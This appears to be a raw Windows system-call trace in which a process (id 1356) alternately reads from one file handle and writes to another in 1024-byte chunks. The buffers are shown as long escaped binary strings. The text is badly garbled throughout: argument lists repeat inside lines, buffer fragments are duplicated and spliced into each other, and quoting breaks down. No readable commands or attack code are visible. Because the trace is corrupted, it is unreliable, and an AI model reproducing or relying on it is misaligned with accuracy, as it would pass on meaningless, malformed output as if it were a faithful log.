"t^W9-^\274aphU@S{\37eeUJe4&/sa)\13LcGHXEpZ+\17xq]9\36{c\35mOZ\20]?\236OnK\313\240\205,\255\247\200\370\177\253\271&c\2\20?\3675T6]>\306/\327\347??\277DB/\336D\342%\323QL\27\316\207,,\231\253!/+/\320'6\1$3\240\211=\260\274\7M;\257\339P.\37r\23#\343\226\361\32w Aj\273\220//\320%\0\244\213E\2246\264\374\25X2\303\111?\327\22\321\266\35\337#"#r\256R\3\230!\241/\331|\347_`e\342:\236uF7DI:\262o2>0\33\23\35\21\37/!-#+%)'\327&*$,". 0>2<4:688\3065;3=1?\24\34\22\36\20 .",$\332)'')%+#-!/?1=3;5\311886:m\334?\272Tv\247]\31\223K\345\242g\273N\273L\223(!s\344\305\360\317\10\260Y\360\26\372\356\203\320\341\36\354\217|\251\275p\3329\311\311\201\0 \242O\223\0\360\231\11+\257G\333\355\17/\260Y\211\365?\251\g\344\261\365$n\326\*\23\235\26\224\310\252\262e ptV3P\252\13--b\13,\270v\27,d$`)82@~?&\264U\14\25\223\33\232\300 suw\253W)f\273)\355**\177a\32121C\3276=\2272\366\367\256\205<\363\21\34K\225k\4)u#\27\332\243\321'\255\215+,.\245)\265\361=\267\251564\273\301\305N.k>\327\365\14\340\341\224\330\242"\347 \240\331S+vt+\357\246\30y\317$\36\3534\336\362*\39=N#m:,\236\33_\212\235'q\312_", ) , ) == 0x0
 01175  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\262\277\202<\31[\30\213tE\267\34\355\347\3Y\252\360Dg\204\26\322\207\262o\356\174\272\23x\350\352\31\312\36l\260\326\362\21\277\217A\346\334kaO\252.\313(O\215\215\215\23\336P\317\217\360\340\200\323..|\223\362\26/U\262\255\333f\302Pw\334\256\257\365X\261\272\267I\311\351V+\321b\353UF\373\236\243j\274k\206\30\250\6\351"\324\37\277\310'X\211>Lo(\327d{\353\221\374\204\37\347\370\344=\247\263(\177\24\6\331\21\206\264\244`\306#\343\34\302EZ\3329\304\216\315\21eZ\350\367\207^\24\270t&>U\217\366\314i\303%N\212\250b\267\374w\377\22\235\323\246\2074\305\316HJa\364\177\340N\336\205\324\237I7\300\314a\310\322\224\376u\215\315n\320\G\300#\225\16\331\373YS\243\3014~\272\214>1H\27*\302/\315\372\241\310\351\365\371\205\347\363\363\365(\310z\230\215\257\225;\277\276j\340\256\344+\207\321\2657YVv\24\202$\223\335rV\0\300\346b\343]\32z\233\372*\225\25\213s\251\221\250\367\16~\35X\312<\326^\357\310Jj\337\1] \265\360\303!\343\13Jd\334\234\312(Z\260\346\5\3762\2\276Y\214\365\317\217\226T\35\21s\262\323QU\262X\315\312\222\236\177$\302\267\266\333\212\300A\274\306\324\367K&\260\257\2\311K7\26\315V#D\356U\223\212I\23\340e\220\364\231\371\23\212\212\350^\375\240\353\321U\14\13\213k\251\373\337x\205\227\12\7m\216\206\367J\273\331\230\311\272\\315\3421\372\235A*\330o\256\34\17\363M\370\376{\302\301(\230\304#\214\4\204\237\0wY_\211u\35\377\26\354T\37\332\13\371\355d\22\344\226:\243l\341%\12b(Q\322n\304sfP\276(>\3575\14\357", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \324\37\277\310'X\211>Lo(\327d{\353\221\374\204\37\347\370\344=\247\263(\177\24\6\331\21\206\264\244`\306#\343\34\302EZ\3329\304\216\315\21eZ\350\367\207^\24\270t&>U\217\366\314i\303%N\212\250b\267\374w\377\22\235\323\246\2074\305\316HJa\364\177\340N\336\205\324\237I7\300\314a\310\322\224\376u\215\315n\320\G\300#\225\16\331\373YS\243\3014~\272\214>1H\27*\302/\315\372\241\310\351\365\371\205\347\363\363\365(\310z\230\215\257\225;\277\276j\340\256\344+\207\321\2657YVv\24\202$\223\335rV\0\300\346b\343]\32z\233\372*\225\25\213s\251\221\250\367\16~\35X\312<\326^\357\310Jj\337\1] \265\360\303!\343\13Jd\334\234\312(Z\260\346\5\3762\2\276Y\214\365\317\217\226T\35\21s\262\323QU\262X\315\312\222\236\177$\302\267\266\333\212\300A\274\306\324\367K&\260\257\2\311K7\26\315V#D\356U\223\212I\23\340e\220\364\231\371\23\212\212\350^\375\240\353\321U\14\13\213k\251\373\337x\205\227\12\7m\216\206\367J\273\331\230\311\272\\315\3421\372\235A*\330o\256\34\17\363M\370\376{\302\301(\230\304#\214\4\204\237\0wY_\211u\35\377\26\354T\37\332\13\371\355d\22\344\226:\243l\341%\12b(Q\322n\304sfP\276(>\3575\14\357", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01176  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, " (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ""#\234'*\253Z\2017\262\124658\2715\277\247==\264M<\31Lw\320\24"%qgc\22\36)o\33\31\32h\35\0w2\13\14\6s70XX;SN_S,\34\30Y\37ofm\24\11%$P(@DY_K.-]1A]YTXR_\rIO\23~\27\33\31}\25i\0DA@E\5iID@D\32\314-ac\20#PcTxS?KJ_zd\35\26kV\4B\USPc\202s%\267\230(agCJGA05#u\25\251\26tw}\32:\36\\36\27>o40\37 G^b \255@L\351*g\241Jwn+\240WCp\177\6"[\320\12{\253022\21046\226\243\222\333:z\14V1\273\32\35\36?J\336J\4\211\3450C\211)*/|I\247\12052\260\330\15ea\13\342m{\265a\323\363)\36\10\12%\341\274{\2440rw\243\347\302\353\13J\320\320\331\2352}TI6oi\264v\37\14\325*2\352\31\270\236\23\255\256\3016\305)\32\323-\27\330.#\250\253$K& >\3275+\274\320S;\312\253*\16U\31L\12~\32\220\4\203r\340\330\313\256?#\302\376\354<\37%2\374B3\7\356fdk\264Jt\323\325\372\13\335\106\366\275\335`\17\313)\222\250s\16)?v\240ydo\254\241f\372-q\367.h\375\322B\360", ) %qgc\22\36)o\33\31\32h\35\0w2\13\14\6s70XX;SN_S,\34\30Y\37ofm\24\11%$P(@DY_K.-]1A]YTXR_\rIO\23~\27\33\31}\25i\0DA@E\5iID@D\32\314-ac\20#PcTxS?KJ_zd\35\26kV\4B\USPc\202s%\267\230(agCJGA05#u\25\251\26tw}\32:\36\\36\27>o40\37 G^b \255@L\351*g\241Jwn+\240WCp\177\6 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ""#\234'*\253Z\2017\262\124658\2715\277\247==\264M<\31Lw\320\24"%qgc\22\36)o\33\31\32h\35\0w2\13\14\6s70XX;SN_S,\34\30Y\37ofm\24\11%$P(@DY_K.-]1A]YTXR_\rIO\23~\27\33\31}\25i\0DA@E\5iID@D\32\314-ac\20#PcTxS?KJ_zd\35\26kV\4B\USPc\202s%\267\230(agCJGA05#u\25\251\26tw}\32:\36\\36\27>o40\37 G^b \255@L\351*g\241Jwn+\240WCp\177\6"[\320\12{\253022\21046\226\243\222\333:z\14V1\273\32\35\36?J\336J\4\211\3450C\211)*/|I\247\12052\260\330\15ea\13\342m{\265a\323\363)\36\10\12%\341\274{\2440rw\243\347\302\353\13J\320\320\331\2352}TI6oi\264v\37\14\325*2\352\31\270\236\23\255\256\3016\305)\32\323-\27\330.#\250\253$K& >\3275+\274\320S;\312\253*\16U\31L\12~\32\220\4\203r\340\330\313\256?#\302\376\354<\37%2\374B3\7\356fdk\264Jt\323\325\372\13\335\106\366\275\335`\17\313)\222\250s\16)?v\240ydo\254\241f\372-q\367.h\375\322B\360", ) V1\273\32\35\36?J\336J\4\211\3450C\211)*/|I\247\12052\260\330\15ea\13\342m{\265a\323\363)\36\10\12%\341\274{\2440rw\243\347\302\353\13J\320\320\331\2352}TI6oi\264v\37\14\325*2\352\31\270\236\23\255\256\3016\305)\32\323-\27\330.#\250\253$K& >\3275+\274\320S;\312\253*\16U\31L\12~\32\220\4\203r\340\330\313\256?#\302\376\354<\37%2\374B3\7\356fdk\264Jt\323\325\372\13\335\106\366\275\335`\17\313)\222\250s\16)?v\240ydo\254\241f\372-q\367.h\375\322B\360", ) == 0x0
 01177  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ".$2XQ\13\230\212\215B\266\364\371\204\254(J\221\315\204T\342W#\368\301\273W\305p\331j;5\213\331\25\351\327\31v\340\277\245d\207\213Yt\27\377[\326\313n<\237\366n\234\36\33\4x\320\244\254\204\344O\243\224\231\247\277z]\172\222\35s\16\2\300t\363\366\216\347\255\34312\213\277\311\366j(Q<\373\235\256D?\335\336-\253%_\2676'\351+\346SR\352\353\304.\3665\315V\233X\377\234\220\341\326e\224i\1cU\246=\237\1\302\272\230\372\337E\267\203\213\30oW\314\222\7\300h0\270\372\257\222A4!Qh\370\252\240\320Ps\3635\316+\272\340]\261\4D\1\4\202\311\266\257\237N\13\336\3252\344\23\231P\26\341\204\267+XkJ\252w\234\360\306\35\317)Ak\264A9=?\11iB{\253\6r#$\307w\356\300\262PV\243\225\377BxTD~m\217\256f\201\43\332gV\251KaG\262\354\336\224\271\356:W{\324Vw\353\3348ds\213\221}\360\274\337\370\34="Q=\254\360\214\26\17\11,I\324\253\6\230\3561'\0\257m\261\362\352\365\307\313\250X\21\310\277\361k>\144E@D8\216\253\216\<\316\373\206\25V\245\201&{e\10i\341\14\365\305\324\255\324\3529r\324\225Ar-+\206\311\270,\304K\245\231\364\14\220>\216`\355\274_\361\327\34;z\13]i\227O\340\274\11\224\0\211\230\347\335\337\13\240v\222\216J\264A \217Rq\353E\311\4\255\233\276o\324\301\207\37\343Q\306\365fB\315\324\206\370\275\270\37\360\320\311E\300\306D\370l\264\231He\357\342\21\1\342\224\3746\364\34\201<\37\266\11\275\20}\33\227\316pn\1\4\343MCp\265\361\357\307\260\264\273;J\23\265\377\205\17", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) Q=\254\360\214\26\17\11,I\324\253\6\230\3561'\0\257m\261\362\352\365\307\313\250X\21\310\277\361k>\144E@D8\216\253\216\<\316\373\206\25V\245\201&{e\10i\341\14\365\305\324\255\324\3529r\324\225Ar-+\206\311\270,\304K\245\231\364\14\220>\216`\355\274_\361\327\34;z\13]i\227O\340\274\11\224\0\211\230\347\335\337\13\240v\222\216J\264A \217Rq\353E\311\4\255\233\276o\324\301\207\37\343Q\306\365fB\315\324\206\370\275\270\37\360\320\311E\300\306D\370l\264\231He\357\342\21\1\342\224\3746\364\34\201<\37\266\11\275\20}\33\227\316pn\1\4\343MCp\265\361\357\307\260\264\273;J\23\265\377\205\17", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01178  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\366\336\262c\342F\26'\3312\346A;)<&t\2s{5q6U-G\272cNT\375}\0\23;ztr\376b\1#"\344c\6EQ]OX\5).$r4G]UWZ\320:<\373h\2704>9y\37\334W\337"'%aed\10zbn`\11b+2\31;\333>\2662c\277=2\323 \313\14]\31\235>z\35'\311\300fG'*@*/\302\345O/\352>V?7\333\216t4{\34]k?>9\326\226\30\36a\32\35#5\312\273\247#\212\241.+\247\13\220\11\206/3q\30o\307=\235\272\274\3708ilW>7\32\352\306\36\36J\119\370DO'\244\313,\353)l\3b+\24}2\36\37455s899]\265\241\32\307\33\37\221\366\375`\0#/\3330\226gX)\302\223\44\357#*\377><4:6\222\31S\206z\345$\15;\254\3\17V #+J\22I\325}\36E\302:\211-\25\306\355\2242W\335\347_\2278\201\2\3718\267\360;]mu\265XQ&'\273# \206\343\344)){\314%6\237\4\361\262376\336?\10\\312;\333"\63r$p:n8l>k<\273\34\11\333\32j\20o\3272\336\24.!\341(@k\344K2\254\270\347z\303$}%\304 @8\353\\265Yw:\3710\265\214Y\3775\232\356oB;\24\311`\211F\244&\13\243\357uuqvJ+\271<\322<\360\35\364?8G;\212Z\362X0\33\23\35\21\37&!!\246\261d% m*\231j/\324\277\352c\224s0\337p585y9\346y>\224\2Z\37\322[\34K`!\342a&\214\276i*\231n/\352o,\225", ) \344c\6EQ]OX\5).$r4G]UWZ\320:<\373h\2704>9y\37\334W\337"\366\336\262c\342F\26'\3312\346A;)<&t\2s{5q6U-G\272cNT\375}\0\23;ztr\376b\1#"\344c\6EQ]OX\5).$r4G]UWZ\320:<\373h\2704>9y\37\334W\337"'%aed\10zbn`\11b+2\31;\333>\2662c\277=2\323 \313\14]\31\235>z\35'\311\300fG'*@*/\302\345O/\352>V?7\333\216t4{\34]k?>9\326\226\30\36a\32\35#5\312\273\247#\212\241.+\247\13\220\11\206/3q\30o\307=\235\272\274\3708ilW>7\32\352\306\36\36J\119\370DO'\244\313,\353)l\3b+\24}2\36\37455s899]\265\241\32\307\33\37\221\366\375`\0#/\3330\226gX)\302\223\44\357#*\377><4:6\222\31S\206z\345$\15;\254\3\17V #+J\22I\325}\36E\302:\211-\25\306\355\2242W\335\347_\2278\201\2\3718\267\360;]mu\265XQ&'\273# \206\343\344)){\314%6\237\4\361\262376\336?\10\\312;\333"\63r$p:n8l>k<\273\34\11\333\32j\20o\3272\336\24.!\341(@k\344K2\254\270\347z\303$}%\304 @8\353\\265Yw:\3710\265\214Y\3775\232\356oB;\24\311`\211F\244&\13\243\357uuqvJ+\271<\322<\360\35\364?8G;\212Z\362X0\33\23\35\21\37&!!\246\261d% m*\231j/\324\277\352c\224s0\337p585y9\346y>\224\2Z\37\322[\34K`!\342a&\214\276i*\231n/\352o,\225", ) \63r$p:n8l>k<\273\34\11\333\32j\20o\3272\336\24.!\341(@k\344K2\254\270\347z\303$}%\304 @8\353\\265Yw:\3710\265\214Y\3775\232\356oB;\24\311`\211F\244&\13\243\357uuqvJ+\271<\322<\360\35\364?8G;\212Z\362X0\33\23\35\21\37&!!\246\261d% m*\231j/\324\277\352c\224s0\337p585y9\346y>\224\2Z\37\322[\34K`!\342a&\214\276i*\231n/\352o,\225", ) == 0x0
 01179  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\224\313\20(!\254\334\233\260\347;'\223+\335)L\251\16F\252rLw\367!\26\201\2728\310\315\254\34\324\230!ZN\213kY,\24\213\300\362\250\300\32\301\224~Zi\335\303\344\24\363]\374?3\261\30\13DIm\200?\354\240 S\335\317\241\276lN\337i\243\0\235&\347 &$&-\1\201\377\204\232=GQ\213\334x\365&\241\255\2\32\234\242\224\301\355m\225\232;A5\14yT\357IR\330\350\213'\262\362\364N|5\371\311\24\230\225'\13\200\261\177\363\232\324\352\304\3710\242hE\212K\16\372%T\225T/<<\270Q/04\247u\343~g"R\211\15o\230\227h\347e\372v\346\277\245\373\47\15\177\30\353\254I4\266\237Y\227v\4\241\351\301Oxu\202Z\312C\247\222\211\372\0\374?L\10\222t/\20&l3\315\205y6\373\234\276\331tc\377\0\16h\274\230xi\202\253\375\250\2421\347\177\233vb\7\1\233f)O\22\266\17\24\320\15M.'`\304\340$1,\271_aK\374-fr\241[\3\331\363\247(\337\4\21u\242k\13U\226\325W\326\213)\224]\2159\303\225N\35@\6M\375\256\235\362v\260\333\32R\20g\252Y\232\257\356\245f\21de\235)\15\234\246bN\24\27g\334\233\346\230\21Gwn\31\267\11\273\341Q\351\275\240\7\255\257\237\352d-\206\375l\373\16\15.A2\370\2\15\204\205\7\Q\2706\322\263\235Ok\330\347\303\250b\261\330\334Z\354\314\365\203\314\26ij\375X\321|\247\355F\271\212\335\206RL)?\342KP\225\264\360\215\6J<\235]K-D\263L\274D\232\322\202\27q\351`\355\307\227c\267'h9r+\13\345\266\356t)\204\275\24\245\377\315 \374\31\242\210,\346C\252\32\324*\21\314v", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) R\211\15o\230\227h\347e\372v\346\277\245\373\47\15\177\30\353\254I4\266\237Y\227v\4\241\351\301Oxu\202Z\312C\247\222\211\372\0\374?L\10\222t/\20&l3\315\205y6\373\234\276\331tc\377\0\16h\274\230xi\202\253\375\250\2421\347\177\233vb\7\1\233f)O\22\266\17\24\320\15M.'`\304\340$1,\271_aK\374-fr\241[\3\331\363\247(\337\4\21u\242k\13U\226\325W\326\213)\224]\2159\303\225N\35@\6M\375\256\235\362v\260\333\32R\20g\252Y\232\257\356\245f\21de\235)\15\234\246bN\24\27g\334\233\346\230\21Gwn\31\267\11\273\341Q\351\275\240\7\255\257\237\352d-\206\375l\373\16\15.A2\370\2\15\204\205\7\Q\2706\322\263\235Ok\330\347\303\250b\261\330\334Z\354\314\365\203\314\26ij\375X\321|\247\355F\271\212\335\206RL)?\342KP\225\264\360\215\6J<\235]K-D\263L\274D\232\322\202\27q\351`\355\307\227c\267'h9r+\13\345\266\356t)\204\275\24\245\377\315 \374\31\242\210,\346C\252\32\324*\21\314v", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01180  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "g\374:kil\265\326~I\235Q2\224\310 3)uEk\327\109\257\353Y\244[o1\335\263"\240\367.7/x.ig\3242=\3\10\14\6=7r\3060|o%\305;1\3134D"Nya\213w3 \265>gg\2602e\274\264n;@\235\331F_%\13\341c#Ae `i-gr\371\247'86\24294\371\117\79\31\4<\13>\276\367\14\235\264I\2539\226\7<\345''\364-\247\247L\11>.03r.\260\2457\334\2600\261.M=\263e;|\36\24? ,>s?\1vv\177I|y\304V\24\16w\1|F\2723\3654\310?\332Y\303(\366\313\216\34\343\32\224\330TC\250\11/\202\327(z\351*F,y\320p\311\57\3455\206\360\36'\323\310=\255\177;HY>\217>\311\3211g>&$,2\3426\304j-4002&q.\360\3y"9.\250\31Z}\0\337^(\273 5\345`\20e \35736\302\241\253\3565\303A1537\317G70):84Ao\30\33\37\13?n +" \0T&,(\255)\31]-"/3qC3$864vH:5<>|cj\34\22\36\34JP"3,%%_Y);+/\255\255\30381\242\272@\21&?\320f\233[\4s:\327\37\361\273\376\37d\5%\256j%\24w\357m\163,),\307\220\\315\270x\21:\360\34?6\31\263\373`\275=\237\331@\13e\257\\201\204\276&*x\210"+-\374\357%\277@9\363Wf\267\24\370Z$]|t\377\\233<\232}[\4=+az\315c'&\220\277\201\316\371..\264"1s,\37\366V\271u2#\324\27<0nT\275\370\35X\241/\247\344", ) \240\367.7/x.ig\3242=\3\10\14\6=7r\3060|o%\305;1\3134D (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "g\374:kil\265\326~I\235Q2\224\310 3)uEk\327\109\257\353Y\244[o1\335\263"\240\367.7/x.ig\3242=\3\10\14\6=7r\3060|o%\305;1\3134D"Nya\213w3 \265>gg\2602e\274\264n;@\235\331F_%\13\341c#Ae `i-gr\371\247'86\24294\371\117\79\31\4<\13>\276\367\14\235\264I\2539\226\7<\345''\364-\247\247L\11>.03r.\260\2457\334\2600\261.M=\263e;|\36\24? ,>s?\1vv\177I|y\304V\24\16w\1|F\2723\3654\310?\332Y\303(\366\313\216\34\343\32\224\330TC\250\11/\202\327(z\351*F,y\320p\311\57\3455\206\360\36'\323\310=\255\177;HY>\217>\311\3211g>&$,2\3426\304j-4002&q.\360\3y"9.\250\31Z}\0\337^(\273 5\345`\20e \35736\302\241\253\3565\303A1537\317G70):84Ao\30\33\37\13?n +" \0T&,(\255)\31]-"/3qC3$864vH:5<>|cj\34\22\36\34JP"3,%%_Y);+/\255\255\30381\242\272@\21&?\320f\233[\4s:\327\37\361\273\376\37d\5%\256j%\24w\357m\163,),\307\220\\315\270x\21:\360\34?6\31\263\373`\275=\237\331@\13e\257\\201\204\276&*x\210"+-\374\357%\277@9\363Wf\267\24\370Z$]|t\377\\233<\232}[\4=+az\315c'&\220\277\201\316\371..\264"1s,\37\366V\271u2#\324\27<0nT\275\370\35X\241/\247\344", ) 9.\250\31Z}\0\337^(\273 5\345`\20e \35736\302\241\253\3565\303A1537\317G70):84Ao\30\33\37\13?n + (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "g\374:kil\265\326~I\235Q2\224\310 3)uEk\327\109\257\353Y\244[o1\335\263"\240\367.7/x.ig\3242=\3\10\14\6=7r\3060|o%\305;1\3134D"Nya\213w3 \265>gg\2602e\274\264n;@\235\331F_%\13\341c#Ae `i-gr\371\247'86\24294\371\117\79\31\4<\13>\276\367\14\235\264I\2539\226\7<\345''\364-\247\247L\11>.03r.\260\2457\334\2600\261.M=\263e;|\36\24? ,>s?\1vv\177I|y\304V\24\16w\1|F\2723\3654\310?\332Y\303(\366\313\216\34\343\32\224\330TC\250\11/\202\327(z\351*F,y\320p\311\57\3455\206\360\36'\323\310=\255\177;HY>\217>\311\3211g>&$,2\3426\304j-4002&q.\360\3y"9.\250\31Z}\0\337^(\273 5\345`\20e \35736\302\241\253\3565\303A1537\317G70):84Ao\30\33\37\13?n +" \0T&,(\255)\31]-"/3qC3$864vH:5<>|cj\34\22\36\34JP"3,%%_Y);+/\255\255\30381\242\272@\21&?\320f\233[\4s:\327\37\361\273\376\37d\5%\256j%\24w\357m\163,),\307\220\\315\270x\21:\360\34?6\31\263\373`\275=\237\331@\13e\257\\201\204\276&*x\210"+-\374\357%\277@9\363Wf\267\24\370Z$]|t\377\\233<\232}[\4=+az\315c'&\220\277\201\316\371..\264"1s,\37\366V\271u2#\324\27<0nT\275\370\35X\241/\247\344", ) /3qC3$864vH:5<>|cj\34\22\36\34JP (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "g\374:kil\265\326~I\235Q2\224\310 3)uEk\327\109\257\353Y\244[o1\335\263"\240\367.7/x.ig\3242=\3\10\14\6=7r\3060|o%\305;1\3134D"Nya\213w3 \265>gg\2602e\274\264n;@\235\331F_%\13\341c#Ae `i-gr\371\247'86\24294\371\117\79\31\4<\13>\276\367\14\235\264I\2539\226\7<\345''\364-\247\247L\11>.03r.\260\2457\334\2600\261.M=\263e;|\36\24? ,>s?\1vv\177I|y\304V\24\16w\1|F\2723\3654\310?\332Y\303(\366\313\216\34\343\32\224\330TC\250\11/\202\327(z\351*F,y\320p\311\57\3455\206\360\36'\323\310=\255\177;HY>\217>\311\3211g>&$,2\3426\304j-4002&q.\360\3y"9.\250\31Z}\0\337^(\273 5\345`\20e \35736\302\241\253\3565\303A1537\317G70):84Ao\30\33\37\13?n +" \0T&,(\255)\31]-"/3qC3$864vH:5<>|cj\34\22\36\34JP"3,%%_Y);+/\255\255\30381\242\272@\21&?\320f\233[\4s:\327\37\361\273\376\37d\5%\256j%\24w\357m\163,),\307\220\\315\270x\21:\360\34?6\31\263\373`\275=\237\331@\13e\257\\201\204\276&*x\210"+-\374\357%\277@9\363Wf\267\24\370Z$]|t\377\\233<\232}[\4=+az\315c'&\220\277\201\316\371..\264"1s,\37\366V\271u2#\324\27<0nT\275\370\35X\241/\247\344", ) +-\374\357%\277@9\363Wf\267\24\370Z$]|t\377\\233<\232}[\4=+az\315c'&\220\277\201\316\371..\264 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "g\374:kil\265\326~I\235Q2\224\310 3)uEk\327\109\257\353Y\244[o1\335\263"\240\367.7/x.ig\3242=\3\10\14\6=7r\3060|o%\305;1\3134D"Nya\213w3 \265>gg\2602e\274\264n;@\235\331F_%\13\341c#Ae `i-gr\371\247'86\24294\371\117\79\31\4<\13>\276\367\14\235\264I\2539\226\7<\345''\364-\247\247L\11>.03r.\260\2457\334\2600\261.M=\263e;|\36\24? ,>s?\1vv\177I|y\304V\24\16w\1|F\2723\3654\310?\332Y\303(\366\313\216\34\343\32\224\330TC\250\11/\202\327(z\351*F,y\320p\311\57\3455\206\360\36'\323\310=\255\177;HY>\217>\311\3211g>&$,2\3426\304j-4002&q.\360\3y"9.\250\31Z}\0\337^(\273 5\345`\20e \35736\302\241\253\3565\303A1537\317G70):84Ao\30\33\37\13?n +" \0T&,(\255)\31]-"/3qC3$864vH:5<>|cj\34\22\36\34JP"3,%%_Y);+/\255\255\30381\242\272@\21&?\320f\233[\4s:\327\37\361\273\376\37d\5%\256j%\24w\357m\163,),\307\220\\315\270x\21:\360\34?6\31\263\373`\275=\237\331@\13e\257\\201\204\276&*x\210"+-\374\357%\277@9\363Wf\267\24\370Z$]|t\377\\233<\232}[\4=+az\315c'&\220\277\201\316\371..\264"1s,\37\366V\271u2#\324\27<0nT\275\370\35X\241/\247\344", ) , ) == 0x0
 01181  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "a\55\177v\216\342\237\\362\35;gRqY\275\367sgQ\13Y\37\210\26471\243z\340h\366r/n_\342\261\215fm\247\264e\235\317\230\3\3\10\26\0n\274q\341\334\366G\222\225\310\301\315k\246"%\210Bp.Wf\242\363\237<\207\347D2\222\304\2036j\303\230\240\227e \207<\271p\243\211\233G./Vf\322\341\234.\325\2\220@\347j\270\242bB_\257\351\27\252?5\251f\274Q\375\331F\206\237\327c\21\26\345\2203\375+\364\223c\363\7\276\337\23\347\341'H\252\344\326f\33\306\34)\37;\270\265\4\254\2500k\223\332\312\312\306=\0\16\330\223\252\213\377\320\35\343Sy\6\270\36\352K\355\262\315\350f\373\340\240\221`L\36Bwgk\11\363>G\317\6B\355\104\311\254\377\260\322\220\234\355D\344\26\4\354P\355\276\230#D\204y\361\276w\233\1\350\0\17vA\254eY0\35\322\343jfDzy\206\251n\210\330\2211\\356\322A\21\6\237\324\25\234 0\32\220\214\255Mg\275Y\223\216j\303\345T\34(\237;~\347&* \361\255\351\3728\367\246\260\13\227\243\274az\317zT\342=\31K\17\34\272\230\313\251\235\367\201|\203\317\233w]\324\17~\343\3\25\362\3356\6\14\364\205\222\243}\302/\345\240\30\332\345,y1|\35\327\314\275\215\351\227\232ze\251\343\231I\0%\23\350B\252\231\202\37\307Q\31G\15\3769\271n\267`C\34\240\4Q\245\346\346[\223'\210\364\230,\344oX\227\305\343\17\264\352x\236^\32\347\357\226\225\201\261N\10\245\373\233\224\211;o\36J#\302\213\217\222\17R\237\226G\261\342\274\342\23:3\203%\263\6\357\326$\22\33\353\357\264)\12\246y7\21<\212\226{\\361\250\276o\225\362ami", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) %\210Bp.Wf\242\363\237<\207\347D2\222\304\2036j\303\230\240\227e \207<\271p\243\211\233G./Vf\322\341\234.\325\2\220@\347j\270\242bB_\257\351\27\252?5\251f\274Q\375\331F\206\237\327c\21\26\345\2203\375+\364\223c\363\7\276\337\23\347\341'H\252\344\326f\33\306\34)\37;\270\265\4\254\2500k\223\332\312\312\306=\0\16\330\223\252\213\377\320\35\343Sy\6\270\36\352K\355\262\315\350f\373\340\240\221`L\36Bwgk\11\363>G\317\6B\355\104\311\254\377\260\322\220\234\355D\344\26\4\354P\355\276\230#D\204y\361\276w\233\1\350\0\17vA\254eY0\35\322\343jfDzy\206\251n\210\330\2211\\356\322A\21\6\237\324\25\234 0\32\220\214\255Mg\275Y\223\216j\303\345T\34(\237;~\347&* \361\255\351\3728\367\246\260\13\227\243\274az\317zT\342=\31K\17\34\272\230\313\251\235\367\201|\203\317\233w]\324\17~\343\3\25\362\3356\6\14\364\205\222\243}\302/\345\240\30\332\345,y1|\35\327\314\275\215\351\227\232ze\251\343\231I\0%\23\350B\252\231\202\37\307Q\31G\15\3769\271n\267`C\34\240\4Q\245\346\346[\223'\210\364\230,\344oX\227\305\343\17\264\352x\236^\32\347\357\226\225\201\261N\10\245\373\233\224\211;o\36J#\302\213\217\222\17R\237\226G\261\342\274\342\23:3\203%\263\6\357\326$\22\33\353\357\264)\12\246y7\21<\212\226{\\361\250\276o\225\362ami", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01182  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\177/Y\34\337\310\0\17g!\232:\\231\233>\32\234=<2\35*\24{C*\26\,S$\10r+./\27\24\17|^UZ\27e,\25>J\30f\274\6??\235\30\36\27\361\0v\312.\6\305\23-\330\251{P\314@"\252\317E26\267\3127BVj\267[b\21m\327*<&>\258`a\244!\256h\27\241)\357\242\254S\36Z\16\272t\7t96\0\263o\2l\203N\273\34\227\260p\222<\'#\240\7I\320'\253\12v\324\331-\241\14O\177M}\203F\260\24Gw\205H\303\22\35\200hbS\341\5/!-#+%)'\231"*\324\11\11>'A1>\3|\35\311\220k\253:\212F~?\332+\233o\37P"\263R$H\246/\264X*;\17\212_/\360\6\200\350E5\266\25\205H:\233\24\365O?\33?\253\315n \1\13\370U%V\7\313X*F\374\2\300^0\341R\305E5\346Wm\321\22;\27d\177 \221\304\2345\335y\205"O\256\305\345\316\257))\3539\254"\3163\264\2240\261\2255\5\370\322Q[\57"?:<}\36;r\231#3$&\245\354) 2A.\15x\246t\25\26S4\255\250(U1z8kn\327\316\251\234\213\27p\30.\263\17\304#\23(B\365%'"++4\363\376c7\312\26OW7\341\244*\246(Ekp\205\10\347\220~\2755W-&\227+\301\356\32/\357\374\3201\272\373\2630ucao\264>;\274\260u\4\2260\330u\26!\26\312+$\200\255\337\253\340*\324\37\355\334\201\307\340\313\315\276\367\274\317\262\307\372<\324<\314\276\227\325\235\376 "\321\207B\256m\177y)\325>\0\361,.\25\316\304I?\32)48;)\277H0", ) \252\317E26\267\3127BVj\267[b\21m\327*<&>\258`a\244!\256h\27\241)\357\242\254S\36Z\16\272t\7t96\0\263o\2l\203N\273\34\227\260p\222<\'#\240\7I\320'\253\12v\324\331-\241\14O\177M}\203F\260\24Gw\205H\303\22\35\200hbS\341\5/!-#+%)'\231 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 